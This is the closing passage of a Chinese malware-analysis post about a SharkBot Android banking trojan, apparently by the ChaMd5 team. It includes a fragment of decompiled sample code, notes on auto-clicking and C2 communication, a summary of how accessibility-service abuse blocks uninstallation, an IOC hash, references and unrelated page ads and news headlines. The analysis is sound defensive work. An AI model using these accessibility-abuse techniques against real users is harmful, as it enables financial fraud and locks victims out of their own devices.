????????????????????????????if?(myServiceA.c)?{
????????????????????????????????H(source,?charSequence);
????????????????????????????}
????????????????????????}?catch?(Exception?e)?{
????????????????????????????myServiceA.C.J(0?+?e.toString());
????????????????????????}
????????????????????}
????????????????}
????????????}?catch?(Exception?e2)?{
????????????????myServiceA.C.J(0?+?e2.toString());
????????????}
????????}
????}
会尝试自动点击按钮,自动填充数据等
其它行为
还有一些和C2服务器通信、数据交互等行为
总结
很多Android的银行木马、bot、勒索软件等都会通过滥用辅助功能的方式进行信息窃取、金融欺诈。并且由于辅助功能的特殊性,一旦开启辅助功能就会导致用户既无法关闭辅助功能,也无法卸载软件,甚至有的bot会阻止用户打开设置。用户不得不使用adb(还需要在开启adb调试的情况下)进行卸载。但是辅助功能存在的意义是帮助一些使用手机有障碍的用户更方便地使用手机,可能这也需要一种平衡吧。
IOC
57f8a57320eeed2f5b5a316d67319191ce717cc51384318966b61f95722e275f
参考
https://blog.cyble.com/2022/02/18/new-sharkbot-variant-discovered/
https://www.ddosi.org/sharkbot/
end
招新小广告
ChaMd5?Venom?招收大佬入圈
新成立组IOT+工控+样本分析?长期招新
欢迎联系admin@chamd5.org

关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 习近平将发表二〇二六年新年贺词 7904141
- 2 2026年国补政策来了 7808738
- 3 东部战区:开火!开火!全部命中! 7712893
- 4 2026年这些民生政策将惠及百姓 7616985
- 5 小学食堂米线过期2.5小时被罚5万 7519709
- 6 解放军喊话驱离台军 原声曝光 7428214
- 7 为博流量直播踩烈士陵墓?绝不姑息 7327605
- 8 每月最高800元!多地发放养老消费券 7238391
- 9 数字人民币升级 1月1日起将计付利息 7141831
- 10 2026年1月1日起 一批新规将施行 7040675


![洪佳宁 候车系列[挖鼻]#夏日颜艺大赏# ](https://imgs.knowsafe.com:8087/img/aideep/2022/6/15/2aaf03eab5077256ef973f8c216b6ef9.jpg?w=250)





Chamd5安全团队
